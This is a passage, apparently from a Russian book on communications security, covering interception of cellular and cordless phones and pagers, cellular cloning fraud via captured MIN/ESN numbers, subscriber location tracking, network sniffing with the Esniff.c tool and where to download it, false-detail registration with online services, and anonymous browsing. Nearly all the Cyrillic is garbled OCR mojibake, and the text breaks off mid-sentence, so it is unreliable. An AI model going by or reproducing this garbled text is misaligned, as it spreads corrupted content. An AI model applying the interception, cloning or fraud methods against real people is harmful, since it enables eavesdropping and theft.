Jlerde Bcero repexBaThIBalOTC HEITOABYIKHBIE MJIM CTALIMOHAPHBIE CO-
TOBBIE TeJie(hOHBI, TPYIHEEe — MOOMIIbHBIE, TAK KaK IepeMeleHre ab0OHeHTa B
MpoIIecCce pa3roBopa CONMPOBOXKIAETCS CHUKEHUEM MOIIIHOCTY CUTHAJIA U TTe-
pPEXOIOM Ha IpyTrHe 4acTOThl B CiIydae TepeJadyy CUTHaja ¢ OJXHOM 6a30Boii
CTaHIMU Ha JAPYIYIO.

Bonee coBepiiieHHBI C TOUKM 3PEHMS 3aIUTHI TH(GOpMaLy (M POBbIE
CcoTOBBIE Tee(OHBI, Iepeaarole nHGOopMalnio B Buae LHU(GPOBOro Koaa.
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OpHako uCIojb3yeMblid B HUX aiaroput™ mudpoBaHus Cellular Message
Encryption Algorithm (CMEA) MoXeT ObITh BCKPBHIT ONBITHBIM CIELMAIM-
CTOM B T€YCHUE HECKOJIBKUX MUHYT C IIOMOINBIO TIEPCOHAIBHOTO KOMIThIOTE-
pa. Uto kacaercs iMbPOBBIX KOJOB, HAOMpaeMbIX Ha KJIaBuaType Hru(poBoro
COTOBOTO TejiedhoHa (TeslehOHHBIE HOMEpa, HOMepa KPEAUTHBIX KaPTOUEK VITH
TepCOHAIbHBIC MAeHTU(DUKAaMOHHBIe HoMepa PIN), To oHU MOTYT OBITB JieT-
KO TIepeXBayeHbI C IIOMOIIIBIO TOTO e IIMMPOBOro CKaHHEpa.

He MeHee ySI3BUMBIMU C TOYKM 3peHUST 6€30MACHOCTH WHGMOpMAIUU
SIBJISIIOTCST O€CIIPOBOIHEIE paguoTesiehoHbl. OHM ITpU pabOTe UCIIOIB3YIOT ABE
pPaIMoOYaCTOTBI: OHY — JIJIST TIepelauy CUTHAJIa OT allliapaTa K Tpyoke (Ha Helt
MPOCTYIIMBAIOTCS 002 aOOHEHTa), APYTYI0 — OT TPYOKM K armapary (Ha Heit
MPOCTYIIMBAETCS TOJbKO aDOHEHT, TOBOPSIIMIA B 3Ty TpyOKy). Hanuuue nByx
YacTOT ellle OOJIbIIEe PACIIUPSIET BO3MOXHOCTH IS TIepexBara.

ITepexsat panuoTenedoHa MOXHO OCYHIECTBUTh C TIOMOIIBIO APYTOroO
panuotenedoHa, pabOTaOIIEro Ha TeX Xe YacToTaX, paauoNpueMHUKA WU
CKaHHepa, paboTaionux B quamnasoHe 46-50MT . JlanbHOCTh epexsara, B 3a-
BUCHMOCTU OT KOHKPETHBIX YCJIOBUI, cOCTaB/IsieT B cpeaHeM 10 400 MmeTpoB, a
MpU MCIOJB30BAHUU MOTIOJHUTEJBHON NMIOJBHON aHTEHHBI IHara3oHa
46-49 MI'i — 1o 1,5 km.

Crnenyer OTMETHTh, YTO TaKWE YacCTO PEKIAMHUPYEMble BO3MOKHOCTHU
GecripoBoHOTO TejedoHa, Kak «1udpoBoii koa 6e3ormacHocTr» (digital secu-
rity code) u «CHUXeHUe YpoBHsI IoMmex» (interference reduction), HUCKOJIBKO
He MPEeIoTBPAINalOT BO3MOXHOCTD ITepexBaTta pa3roBopoB. OHM TOJBKO TIpe-
MIATCTBYIOT HECAHKIIMOHUPOBAHHOMY HCITOJIb30BaHUIO 3TOTO TeleoHa U He
JAIOT COCENCTBYIOIIUM pamuoTesieoHaM 3BOHUTh OMHOBpPeMeHHO. ClioxXHee
TIePEeXBaTUTh ITUGMPOBBIC PATNOTENeOHBI, KOTOPBIE MOTYT UCIIOB30BATh ITPU
pabote ot 10 10 30 yacToT C aBTOMaTUYECKOI UX cMeHOM. OIHAKO U UX Mepe-
XBaT He TIPEACTaBIIIeT 0CO00I TPYTHOCTH TTPY HAJTMYUH PaIMOCKaHepa.

TakvMu ke ySI3BUMBIMU B OTHOILIEHWM GE30TTaCHOCTHU TiepeaaBacMoit
MHGbOPMAIHY SBJISIOTCS U TIeHIKephl. B O0IBIIMHCTBE CBOEM OHU UCITOJIb3Y-
10T 1poTokoJ POSCAG, KOTOpBIi MPaKTUIECKN He 00eCIIeYNBAET 3aIUTHI OT
nepexBaTa. CooOIIeHWS B TIEHIKUHTOBOM CUCTEME CBSI3U MOTYT ITepeXBaThl-
BaThCs paaUONPUEeMHUKAMU WIIM CKaHepaMu, 000pYI0BaHHBIMU YCTPOMCTBA-
MU, crmocoOHBIME aekoaupoBath Koasl ASCII, Baudot, CTCSS, POCSAG u
GOLAY. CymectByeT TakKe LB PSAI IIPOTPaMMHBIX CPEIICTB, KOTOPBIE
no3BoJistioT [TK B coueTaHNM CO CKaHHEPOM aBTOMAaTHYECKM 3aXBaThIBaTh pa-
60YyI0 YaCTOTy HYKHOTO Meikepa Wi KOHTPOJIUPOBATh BECh 0OMEH B KOH-
KPETHOM KaHaJjie TTeUDKMHTOBOM CBSI3W. DTU MPOrpaMMBbI TTPeTyCMaTpUBaIOT
BO3MOXHOCTB Itepexsara 10 5000 (!) meiimkepoB OHOBPEMEHHO U XpaHEHNE
Bceli TepeaHHOM Ha HUX WH(MOPMAaIIWH.
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MoLweHHnYeCcTBo

Mo1IeHHUYECTBO B COTOBBIX CUCTEMAX CBSI3U, U3BECTHOE €I1I€ MOJ Ha-
3BAaHUEM «KJIOHUPOBAHUE», OCHOBAHO HA TOM, YTO A0OHEHT UCIIOJIB3YET 4y-
KO uaeHTUGhUKAIMOHHBII HOMeD (a, CIe10BaTeIbHO, U CYET) B KOPBICTHBIX
nHTepecax. B ¢Bs3M ¢ pazBuTHEM OBICTPOAEHCTBYIOIIUX LIU(PPOBBIX COTOBBIX
TEXHOJIOTMI CITOCOOBI MOILIEHHUYECTBA CTAHOBATCSI Bce 00Jiee M30UIPEHHBI-
MM, HO O01Iasi cXeMa MX TaKOBa: MOIIEHHUKU MEPEXBAThIBAIOT C MOMOILBIO
CKaHEepOB UAECHTUGDULIMPYIOIINI CUTHA YyKOTo TeJedoHa, KOTOPbIM OH OT-
BeyaeT Ha 3ampoc 6a30BOil CTAaHLIUM, BBIACSIOT U3 HETO UIEHTU(DUKAIMOH-
Hble HoMepa MIN u ESN u nepenporpaMMupyroT 3TUMU HOMEpPaMU MUKPO-
yun cBoero TenedoHa. B pedyapraTte CTOMMOCTB pa3roBopa ¢ 3TOTro anmnapara
3aHOCUTCS 0a30BOY CTAaHLIMEH Ha CYeT TOro abOHEHTa, y KOTOPOI'o 3T HOME-
pa OBV YKpaZIeHBI.

Hanpumep, B 6onbiinx roponax 3amnajia, yaiie BCero B adpornopTrax, pa-
0OTalOT MOIIIEHHUKHU, KOTOpble, KiIoHMpoBaB ESN-HOoMep ubero-indo Mo-
OupHOTO TenedoHa, MPeaOCTaBISIOT 3a IJIaTy BO3MOXHOCTD JIPYTUM JIIOJSIM
3BOHUTH C 3TOTO TesehoHa B OTAAJIEHHbIE CTPAaHBI 3a CUET TOTO, Yeil HoMeEp
BBIKPAJIN.

Kpaxxa HOMepoB ocylecTBIsIETCsI, Kak MPaBUJIO, B IEJIOBBIX palioHax
U B MECTax CKOIUJIEHUsI OOJbIIOrO KOJMYECTBA JIIOJAEH: 1I0oCCe, AOPOKHbIE
MPOOKU, TAPKH, a3POTOPThI, — C MOMOIIIbIO OUY€Hb JIETKOTO, MaJIorabapuTHO-
ro, aBTOMaTU4ecKoro obopynoBaHusi. BeiOpaB ynoOHOe MeCTO M BKJIIOUMB
CBOIO anmnaparypy, MOIIIEHHUK MOXeT 3a KOPOTKU A MPOMEXYTOK BpeMEHU Ha-
MOJTHUTD MaMSITh CBOETO YCTPOMCTBA OOJBIITUM KOJIMYECTBOM HOMEPOB.

HaunGosiee onacHbIM YCTPOCTBOM SIBJISIETCSl TaK Ha3bIBAGMbIH COTO-
BBIii K31I-00KC, TTPEICTABISIONINEI CO00 KOMOMHALIMIO CKaHepa, KOMITbIOTe-
pa u coroBoro TesnedoHa. OH JIerKo BBISIBIISIET 1 3anroMuHaeT HoMepa MIN n
ESN u aBTOMaTruecku repernporpaMmupyet ceost Ha Hux. Mcrionb3oBaB nmapy
MIN/ESN onuH pa3, oH cTUpaeT ee U3 MaMsITU U BbIOUpaeT npyryto. Takoit
anmnapar JieJlaeT BbISIBJIEHME MOILIEHHUYECTBA MPAKTUYECKM HEBO3MOXHBIM.
HecMmotpst Ha To, UTO 3Ta amnmaparypa Ha 3araje IoKa elle pejka U 1opora,
OHAa YK€ CYILECTBYET W TPENICTABJISIET PACTYIIYIO OTIACHOCTD ISl TTOJIb30BaTe-
JIE COTOBOM CBSI3U.

BbisiBA@HME MEeCTONOAOXEHUS ABOHEeHTA

OcraBuM B CTOPOHE TaKyI0 OYCBUIHYIO BOBMOXHOCTb, KaK BbISIBJICHUC
aapeca abOHEHTa COTOBOI CUCTEMBI CBSI3U Yepe3 KOMITaHU1IO, MPEAOCTaABIA-
IOLIYI0 €EMY 3TH YCIIYTH. HemHorue 3Ha1oT, 4TO HAIMYME MOOMJIBHOTO COTOBO-
Tro Teﬂe(bOHa ITO3BOJIACT ONPCACINTDL KaK TCKYIHICE MECTOITOJIOKEHUE €T0 BJIa-
JcJblla, TaK U IMPOCJICANUTD €ro IMEPEMECIICHMA B ITPOIIIOM.
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TexyIiee MOJIOXEHNE MOXKET BBISIBIISITBCS IBYMSI criocobamu. [1epBbiM
W3 HUX SBJISICTCS OOBIYHBIA METOI TPHAHTYJISALMK (TIeJICHTOBAHWsI), OTIpeie-
JISTIOIIUI HaITpaBJieHe Ha PabOTAIOIIMIA MTepeaaTInK U3 HeCKOJIBKUX (00bII-
HO TpeX) TOYEeK M TAIOIIUI 3aCeYKY MECTOIOMOXECHUST MCTOYHUKA PATMOCHUT-
HajioB. HeoGxommmasi ISt 3TOTO aImaparypa XopoIo pa3pabotaHa, objagact
BBICOKOI TOYHOCTBIO 1 BIIOJTHE JOCTYITHA.

Bropoii MeToq — yepe3 KOMITbIOTEP MPEeIOCTABISIONICH CBSI3b KOMIIa-
HWMU, KOTOPBIA MIOCTOSTHHO PETUCTPUPYET, TIAe HAXOAUTCS TOT UJIM WHOM abo-
HEHT B IaHHBII MOMEHT BPEMEHU JIaKe B TOM CJIyvae, KOT/a OH He BeleT HU-
KaKMX pasroBOpoB (M0 HMACHTUGUIUPYIONIUM CIY>)KeOHBIM CUTHaJaM,
aBTOMAaTUUYECKHU TepenaBaeMbIM TeJe(DOHOM Ha 6a30BYIO CTAHIIUIO, O KOTOPBIX
MBI TOBOPWJIM BbIllIe). TOUHOCTD onpeaeeHus MECTOHAXOXIEHUsT aOOHEHTa B
3TOM CJly4yae 3aBUCUT OT LIEJIOTO psina (hakTopoB: Tornorpacdu MECTHOCTH, Ha-
JIMYUS TTOMEX Y TIEPEOTPAKEHUI OT 3MaHMI, TIOJOXEHHST 6A30BBIX CTAHIINM,
KOJIMYeCTBAa pabOTaIOIIMX B HACTOSIIINI MOMEHT Tesie(hOHOB B IAHHOM COTe.
Bosnbiiioe 3HaueHUEe UMeeT U pa3Mep COThI, B KOTOPOW HaXOIUTCS aOOHEHT,
IO3TOMY TOYHOCTb OMpENEeIeHUS ero TOJOXEHUs B TOPOJe ropaslio BbIlle,
YeM B CEJIbCKOI MECTHOCTHU (pa3Mep COThl B FOPOJIE COCTABIISIET OKOMO 1 KM>

npotuB 50-70 KM* Ha OTKPHITOI MECTHOCTHU) U, IO UMEIOILMMCSI JAHHBIM, CO-
CTaBJIsSIET HECKOJIbKO COT METPOB.

HaxoHel1, aHau3 TaHHBIX O ceaHcax CBA3M abOHEHTa C pa3JINYHbIMU
0a30BBIMU CTAHLIMSIMHU (Yepe3 KaKylo M Ha KaKylo 0a30BYIO CTaHIIMIO Iiepeaa-
BaJICS BHI3OB, 1aTa BbI30BA U T.I1.) TTO3BOJISIET BOCCTAHOBUTD BCE MepeMEIIeHHUSI
abOHeHTa B TpoluioM. Takue NaHHbIe aBTOMaTUYECKU PETUCTPUPYIOTCS B
KOMIIbIOTEpaX KOMITAHWM, MPEeAOCTABISIIONIMX YCAYTH COTOBOM CBSI3M, TO-
CKOJIbKY OIIaTa 3TUX YCJIYT OCHOBaHA Ha JUTUTEIbHOCTH MCITOJIb30BAHUS CHC-
TeMbI CBsI3U. B 3aBUCHMMOCTH OT (ppPMBI, yCIyraMu KOTOPOil IOJIb3yeTcs abo-
HEHT, 5TU JaHHbIE MOTYT XpaHUTHCS OT 60 AHEH 10 7 JIeT.

Takoit MeTol BOCCTAaHOBJEHHUSI KapTUHBI TMepeMelleHUil aboHeHTa
OYEHb IIMPOKO MPUMEHSIETCS MOJMIMENR MHOTUX 3aMalHbIX CTPaH MpHU pac-
CJIEIOBAHUSIX, TIOCKOJIBKY JaeT BO3MOXXHOCTb BOCCTAHOBUTb C TOUHOCTBIO 10
MUHYT, TJ€ ObLI MOM03pEBAaEMbIii, C KEM BCTpevasicsl (ecau y BTOPOTrO TOXKe
ObLT COTOBBIN TesiedoH), rle U KakK JI0JIro MPOMCXOua BCTpeya Wik ObLT JIU
MOI03PEBaeMBblif MOOIM3OCTU OT MECTA MPECTYIJIEHUSI B MOMEHT €ro CoBep-
HIeHUS.

HekoTtopble peKkomeHAauUn

[TpobGiema 6e30macHOCTY IPU UCITOJIb30BAHUM COBPEMEHHBIX OeCTIpo-
BOJIHBIX CPEACTB CBSI3U JOCTaTOYHO CEPbe3Ha, HO, UCTTIONb3YS 3APABbIA CMBICT
Y U3BECTHBIE MPUEMbI TPOTUBOACHCTBUS, €€ MOXHO, B TOW WJIM UHOM cTere-
HM, peinuTb. He OyneM 3arparuBath TeX Mep, KOTOpPbIE MOTYT MPEANPUHSTh
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TOJILKO MPOBAMICPHI CBA3M (HaIIpUMep, BBeAeHME ITMMPOBBIX cucTeM). [loro-
BOPHM O TOM, YTO MOXKETe CesIaTh BBl CAMH.

HJ’IH IpeaoTBpallCHUA IIEpEXBaTa I/IH(bOpMaL[I/II/IZ

* HCTIOJIB3YITe OOIIETIPUHSATBIE MEPHI IO MPEAYTPEKACHUIO
pacKpbITUs MHPOpMaLIMK: U30eraiiTe Win CBeIUTe
K MUHUMYMY Tiepeaady KOHbUAeHIMaIbHOH NH(hOpMaLIvu,
TaKo#l Kak HoMepa KPeIUTHBIX KapToueK, (PMHAHCOBBIE
Bormpockl, mapouau. [Ipuberaiite B 3TUX LieJsIX K OoJiee
HaJeXXHBIM MTPOBOIHLIM TesiechoHaM, YOeaMBIINCh, OMHAKO,
YTO Balll COOECEAHUK HE UCTIOIL3YET B 3TOT MOMEHT
panuotenedoH. He ncnonp3yiite cCOTOBBIE WM OECIIPOBOIHLIE
TeneOHBI [T BeeHs AeJOBbIX Pa3rOBOPOB;

* TMIOMHUTE, YTO TPYIHEE MEPEXBATUTDL PA3rOBOP, KOTOPHIA
BeJIETCS C IBVKYIIETOCS aBTOMOOWIIS, T.K. PACCTOSIHUE MEXTY
HUM U TlepexBaThIBAIONIEl armnaparypoi (ecjau Ta HaXOIUTCS
HE B aBTOMOOWJIE) YBEJIMUUBAETCS U CUTHAJI OCJla0eBaeT.
Kpome Toro, mpu 3TOM Balll CUTHAJ NEPEBOIUTCS C OTHOM
0a30BOi1 CTAHLIMY Ha IPYTYIO C OJHOBPEMEHHOM CMEHOM
paboyeil YacTOThI, YTO HE MO3BOJISIET ITIEPEXBATUTD BECh
Pas3roBop LIEJIMKOM, TTOCKOJIBKY JJISI HAXOXKIECHUS 9TO HOBOW
YacTOThI TPEOYETCS BpEMSI;

* chonwyﬁTe CHUCTEMBI CBA3H, B KOTOPBLIX JAHHBIC MTEPCAAIOTCA
¢ OoIBIION CKOPOCTEIO ITpU YacTOM aBTOMAaTUYECKOM CMEHE
YacTOT B TCUCHHE pa3roBopa,

* UCTOJIB3YiiTe, TPU BO3MOXKHOCTH, LIMGPOBBIE COTOBBIE
TeJlIe(hOHBI;

* OTKJTIOUMTE MOJIHOCTBIO CBOI COTOBBIN TesedOH, eCu He
XOTHUTE, YTOOBI Ballle MECTOIMOJIOXKEHUE CTaJI0 KOMY-TO
U3BECTHO.

B cnyyae ncrnonb3oBaHMs 6€CIIPOBOAHOTO paaroTesie)oHa:
* NP MOKYTMKE BbISICHUTE, KAKYI0 3alIUTY OH ITPeyCMaTpUBAET;

* WCIIOJIB3YITE panroTenedOHbl ¢ aBTOMAaTUYECKO CMEHOM
pabounx yacToT Tumna «spread spectrum» uiau uugpoBbIe,
paboTatonire Ha gacToTax rmopsiaka 900 MI;

. MPpY BOBMOXHOCTH, UCTIONB3YiTe paanoTeaedOoHbI CO
BCTPOEHHBIM YUIIOM ISl IIMPOBAHUS CUTHAJIA.
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st IpeaoTBpalliCHUA MOIICHHHUYECTBA:

* y3HaiTe y GUPMBI-TIPON3BOAUTENS, KaK1e CPEIACTBa IPOTUB
MOIIICHHNYECTBA MHTETPUPOBAHEI B Balll aIlrapar;

* nepxute nokymeHThl ¢ ESN-HOMepoMm Baiiiero teiaedoHa
B HaJIeXKHOM MeCTe;

* €XXEMECSYHO U1 TIIATEJbHO MTPOBEPSIATE cueTa Ha ITOJIb30BAHKE
COTOBOM CBSI3bIO;

* B CJIydae KpaxKyl WY IIPOIaXU BaIllero COTOBOTO TeuedoHa
cpasy npenynpeaure GupMy, IperoCTaBISTIONIYIO BaM YCIyTr
COTOBOM CBSI3U;

* JiepXKuTe TeseOH OTKIIOYEHHBIM 10 TOTO MOMEHTa, MT0Ka Bbl
He pellUId UM BOCIOJIb30BaThCsl. DTOT CIIOCOO CaMbli JIETKUIA
U ACIIEeBbIA, HO CJIeyeT TOMHUTD, YTO JJIs1 ONBITHOTO
creuranrucTa 10CTaTOYHO OHOTO Balllero BbIXO/A Ha CBS3b,
yT0OHI BeIsIBUTE MIN/ESN HOMepa Balliero anmnapara;

. PETYJISIPHO MEHSTITE Yepe3 KOMITAHUIO, TIPEIOCTABIISIONIYIO
BaM yCJIyTY COTOBOI1 cBsi3u, MIN-HOMep Ballero arnmapara.
DTOT CIToco0 HECKOJILKO CJIOKHEE TPEIbIAYIIEro U TpedyeT
BpEMEHMH;

* TOTMIPOCUTE KOMIAHWIO, TIPEIOCTABIISIIONIYIO BaM YCIYTH
COTOBOW CBSI3M, YCTAHOBUTb ISl Balllero TejaedoHa
JIOTIOJTHUTENIbHBIN 4-X 3HauHbIl PIN-Kom, HabupaeMsblil iepe
pa3roBopoM. DTOT KO/ 3aTPYIHSIET AESITEIbHOCTh
MOIIIEHHUKOB, TaK KaK OHU OOBIYHO TIEPEeXBATHIBAIOT TOJIBKO
MIN u ESN-HOMepa, HO, K COXaJICHHIO, HeOOIbIIast
MoaubUKaLIMS arnmnapaTyphsl epexBaTa Mo3BOJISIET BbISIBUTh
U ero;

. Han6oJjee 3(h(HEKTUBHBIM METOIOM ITPOTUBOICHCTBUS
sapisercsd mudposanrne MIN/ESN HoMepa (BMecTe ¢
TOJIOCOBBIM CUTHAJIOM) TI0 CJTyJaifHOMy 3aKoHy. Ho aToT MeTox
JIOPOT M TTIOKa MaJIOAOCTYTICH.

hnaBa 24.
CHUPDUHT

B otrimume ot TGJIC(l)OHHOfI C€TU, KOMIIBIOTCPHLIC CCTHU MCIIOJb3YIOT
obue KOMMYHUKaIIMOHHBIC KaHaJIbI, T.K. JOCTATOYHO JOPOIo TAHYTbL IICTJIIO
JO KaxXaoro yaja. CoBMECTHOE MCTIOIb30BaHNE KaHAJIOB ImoapasymMmeBacT, 4YTo
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y3eJ MOXeT IOoJTydaTh MH(OpMaIInIo, KoTopasi MpeaHa3HayaeTcst He eMy. «Ot-
JIOB» 3TOW MH(MOPMALIMK B CETU U Ha3bIBaeTcs sniff uHrom.

Haubonee npocroit criocod coeauHeHUs KOMIbIOTepoB — ethernet.
OO6MeH gaHHBIMU TI0 TpoTokoJy Ethernet rmoapasyMeBaeT MOCHIIKY MaKeTOB
BceM aOOHEHTaM CeTH. 3arojl0BOK MaKeTa COAEPKUT afpec y3aa-NnprueMHUKa.

Ipeamnonaraercs, 4TO TOJBKO Y3€J1 C COOTBETCTBYIOIIMM aJPECOM MO-
JKET MPUHSTH MakeT. OIHAKO yepe3 KaKAblii y3es MPOXOJsT BCe MaKeThl, He-
B3Upasl Ha UX 3aTOJIOBKU.

Tak Kak B OOBbIYHOI ceTW MHGpOpPMAaLUs O MapoJsiX MepeaaeTcs Mo
ethernet B BUzie TeKCTa — HET HUYETO CJIOXHOTO, BHITSTUBAsA U aHATU3UPYS
MaKeThl, MPOXOSIIUE IO CETU, MOJTYYUTh MH(POpMaLIHIO 000 BCEX KOMIbIO-
Tepax CeTH.

O6AacTb npMeHeHUs CHUGPUHra

Sniff uHr — oauH U3 HauboJIee MOMYJISIPHBIX BUAOB aTaku, UCMOJIb3Y-
eMbIx xakepamu. [Iporpammuslii Sniff'ep HaszbiBaeMblii Esniff.c — oueHp ma-
JIEHbKUI, pa3paboTaHHbIN A1 paboThl Ha SunOS, 3aHUMaJICS TEM, YTO BbI-
nanuBai nepseie 300 GaiT telnet, ftp u rlogin-ceccuit. OH 6bLT ONMYOIMKOBAH
B «Phrack» — ogHOM 13 HauboJiee IUPOKO AOCTYIMHBIX MOAMOJBHBIX XaKep-
CKMX XXypHajoB. Bel ero Mmoxere HaiiTu Ha MHorux FTP-caiitax. Hanpumep,
Ha ftp://coombs.anu.edu.au/pub/net/log.

fAaBa 25.
O6wue npuHUumnbl paboTel On-Line yCAyr

Jo nocnennero Bpemenu pabora B TCP/IP u X.25 cersix TpeboBana He-
KOTOPBIX TTPOheCCUOHATBHBIX 3HAHUI 1 HAaBBIKOB, HE BCETA TOCTYITHBIX JUTS
OOBIYHBIX TTOJTB30BaTe/IeHt KOMITBIOTEPOB. BeposTHO, TO3TOMY OBLIN CO3MaHbI
CEepPBUCHI, I pabOThl C KOTOPHIMU HE TpeOyeTcs MpodheCCUOHATbHBIX 3Ha-
Huti. [Tonb3oBaTelb, 3aMIATUB HEKOTOPYIO CYMMY JIEHET, TIoJIydaeT AOCTYM K
HEOOXOIMMBIM eMy MH(MOPMAIIMOHHBIM pecypcaM C MTOMOIIBI0 HEKOM Tpo-
rPaMMbI-000JIOYKY WU TIPOCTO B TUATIOTOBOM PEXUME.

Joctyn K pazHooGpa3HbiM On-Line yciayram ocylIecTBISIETCSI B TOM
YUCJIe U MO CEeTSIM MakKeTHOM KommyTtauuu (X.25). ITockonabKy ceTu X.25 miu-
POKO pacrpoCTpaHeHbI ¥ 00ILEeAOCTYITHbI, TO 0bLIeHue ¢ On-Line-cepBucamu
He NpeJCTaBJIsIeT HUKAKOTo Tpyaa. B pekiaMHBIX LIEJsIX MPOAaBIbI TUX YCIYT
MOMEIAOT IPOrpaMMBbl, HEOOXOAMMBIE 1Sl pabOThl B KayecTBe OOHYyca K MO-
JieMaM, a TakKe MPeIoCTaBISIIOT HECKOJbKO YCIOBHO-0ECIUIATHBIX YacOB pa-
OOTBI C MX CEPBUCOM.
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BosnpmmHeTBO On-Line cepBUCOB MPEAOCTABIISIET CBOM YCIIYTH Ha OC-
HOBE JTaHHBIX, MOJTYYSHHBIX OT pabOTAIONINX C HUMM TToJib30oBaTeteid. Tak Kak
gacTo Ipu pabote yepe3 X.25 MeCTOIMOIOXKEHHE IMOTh30BaTeNIsT HE TIPOBEPSIeT-
CsI, TO CYIIECTBYET BO3MOXHOCTD YKa3aTh MPU PErMCTPAIlM HEKOPPEKTHBIC
CBEelleHUsI O ITOJIb30BaTeie U O ero (DMHAHCOBBIX BO3MOXHOCTSIX. Ha 3ToM
MPUHLIMIIE TOCTPOEHBI ajbTePHATUBHBIE METOAbI oIuiaThl 3a On-Line
YCIIYTH...

AaBa 26.
Mo WWW 6e3 caepOB

IMyremecTBys 1o Internet, MBI He YaCTO 3ayMbIBAEMCSI O TOM, YTO OC-
TaBJIsIeM CJIe/Ibl CBOMX MTOCEIIeHU I KaXKIbIi pa3, KOTaa 3aX0IUM Ha KaKOW-JIM-
00 caiit. I1oxaiyit, 00 3TOM U He CTOMJIO ObI OECIIOKOUTHCSI, €CIM OBl HEe OBLT
TaK BEJIMK TOT 00beM MH(MOPMAINU, KOTOPHIN MOTEHIIMATbHO MOTYT JOOBITH O
Hac Bianenblibl caiita. CtaHmapTHBIE log-daiiibl, XUTPOYMHBIE CKPUNTHI 1
TpoYre YXUIIPEHUs JTIOOOMBITHBIX BIaCIbLIEB CIIOCOOHBI Y3HATH O BaC MHO-
roe: TUIT KOMITbIOTEpa U OTNepaIllMOHHON CUCTEMBI, CTpaHy MpeObIBaHMUs, Ha-
3BaHWE U alpec MpoBaiifiepa W, 3a4acTyio, Jaxe aapec SJIEKTPOHHOM MOYTHI
1 Ballle UMsI.

CyliiecTByeT MHOTO MTPUYMH, IO KOTOPBIM TOJIb30BaTEIb MOXET He 3a-
XOTETb OCTaBJISATH CJie[bl CBOEro MpedbiBaHus. TyT U HeXelaHWe PaCKPbITh
CBOI1 aipec 2J1EKTPOHHOM IMOYTHI, YTOOBI HE CTaTh XKEPTBOM cllaMa, U He00X0-
JNIUMOCTb MOJYYUTh UHGOPMALIMIO C CaiiTa, KOTOPBI BApbUPYET OTBET B 3aBU-
CHMOCTHU OT CTPaHbl, U3 KOTOPO OTIpaBieH 3anpoc. Miau, HanpuMmep, Bbl ya-
CTEeHbKO 3axoauTe Ha Web-y3es BallluX KOHKYPEHTOB M XOTUTE JeiaTh 3TO
AHOHUMHO.

Hexkro, mommepxuBaroniuii paboTy caiitTa cBOei Iopuandeckoil pup-
MBI, PETYJISIPHO COCTaBJIsAET TpaduK €ro ITOCEIICHUs CaMbIMU Cepbe3HBIMU
KOHKYpPEHTaMHM eT0 (DMPMbI, KOTOPBIE IIPOBOJISIT TaM TOBOJILHO MHOTO BpeMe-
HM, YTO, BKYTIE C CUTYyallMel Ha PhIHKE IOPUINYECKUX YCIIYT, TaeT OOraTyro UH-
dopManuio K pa3MbIILICHUIO.

Kpowme Toro, cyiiecTBytoT Takue 0siki, Kak cookies, ga 11 IbIpEI B 6€30-
macHoctu B MSIE oOHapyXuBaloTCsI Bce HOBBIC M HOBHIE... B 0011eM, He 110~
cnath a1 HaMm B myremrectBue mo WWW koro-uubyne eme? Maes tpe3sas
1 JOCTATOYHO JIETKO BBITIOJIHUMASI, IPUYeM HECKOJIBKUMU CIIOCOOaMMU.

AHOHUMaON3ep

OcylecTBUTh MOJOOHBIE AaHOHMMHBIN CEpMUHT MO3BOJISET CIIyXX0a
Anonymizer. 3aiiiute Ha ux cait, Habepute HyxXxHbIii URL, u Bnepen! Ot-
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MPABJISISICH MO CCBIIKE, TOMELIEHHON Ha CTPaHUIIE, KOTOPYIO Bbl TPOCMATPU-
BaeTe C MOMOIIbI0 AHOHUMaM3epa, Bbl MOManaeTe Ha OYEPEAHYIO CTPaHUILY
CHOBa 4yepe3 AHOHMMA3€ep, Tak YTO MPOLECC ABTOMATU3UPOBaH, U HAOUpaTh
HoBbIM URL cHoBa He Hy>XHO. Bbu1u BpeMeHa, Korna AHOHMMai3ep oTipaB-
JISUICS TIO YKa3aHHOMY aipecy HEMEIJIEHHO, TETEePh Xe IS TeX, KTO MOJIb3yeT-
¢ 9TOi CcTyX001i1 6ecruiatHo, cyiiecTByeT 30-CeKyHIHbII epUO OXKUIAHUS.
Kpome Toro, AHoHMMai3ep MO3BOJsUT Mcnoab3oBath kKak HTTP, Tak m
FTP-pecypcamu. Teneps ke ucnoiab3oBate FTP MoryT nauiis 3apeructpupo-
BaHHbBIE MOJIb30BATEU.

[1pu ncnonb30BaHUM 3TOM CIIYKOHI ciiel B log-daiinax ocTaBiseTe He
Bbl, a AHOHMMaI3ep, YTO UCKITI0YAET BO3MOXHOCThL cOOpa Bceil Toil nHdOp-
Mallu, 0 KOTopoii ObTo HammcaHo Beilie. Hukakue cookies 1o Bac He 10X0-
1. Hekoropsie caiitel, HaripuMep, Web chat rooms 1 oTienbHbIE TTOYTOBBIC
CIIYXOBbI, Uepe3 HeTo HeIOCTYITHBI, YTO, OUEBUIHO, OOBSICHSICTCS KeJTAaHUEM UX
BJIAJICIIBIICB CIIEAUTHL 3a MOCETUTEISIMUA. AHOHUMaM3ep Takke He paboTaer
¢ 0e30ITaCHBIMH y3JIaMU, UCITOJIB3YIOIMUMHU SSL-TTpoTOKOI.

AHoOHUMMal3ep UMeeT ellle IBe IPUSITHbIE 0COOEHHOCTU. Bo-IepBhix,
HekoTophbie caiiThl WWW OBIBaIOT HEIOCTYIIHBI M3 OJHOTO MeCTa, HO JOCTYII-
HBI U3 apyroro. HemaBHo aBTop B TeueHUU 20 MUHYT O€3yCIICIIHO IBITAJICS
M0IacTh Ha OIMH CalT B ABcTpaiuu, Haxonsch B Poccuu. Mcnonb3oBaHue
AHOHMMali3epa HeMeIJIeHHO MTPobieMy PelIIo, U OJITOXAaHHAsK CTpaHULIA
OBLICTPO 3arpy3ujiach.

Bo-BTOpBIX, HEKOTOPbIE CAMTHI BbIAAIOT BaM MHGMOPMALIMIO B 3aBUCH-
MOCTH OT TOro, OTKyJla ocTynaet Baul 3anpoc. [Ipumep u3 xusnu. Haxoxsicy
Ha caiite Encyclopaedia Britannica, aBTop 3ax0oTes1 BBISICHUTD LIEHBI HA MPO-
nykuuio atoit pupmel. Haxatue Ha kHonKy Order Information ripusesio ero Ha
CTpaHUILy, COIEPKAIIYI0 CIIMCOK AUJIEPOB MO BCEMY MUPY, BKJIIOYasi U MOC-
KOBCKOTO nujiepa — «Mup 3HaHUii». 3aX0/ Ha Ty XKe CTpaHUILy Yepe3 AHOHU-
Maiizep Jana COBEpPUIEHHO IpYyroid pe3yabTaT: Ha OKpaHe TMOsSBUIICS
npaiic-nuct. CpaBHeHUe Mokasano, uto B MockBe Encyclopaedia Britannica
CD'97 npomaercst Bo MHOTO pa3 nopoxe, 4yeM B Illtatax. Mopasib: moib3yii-
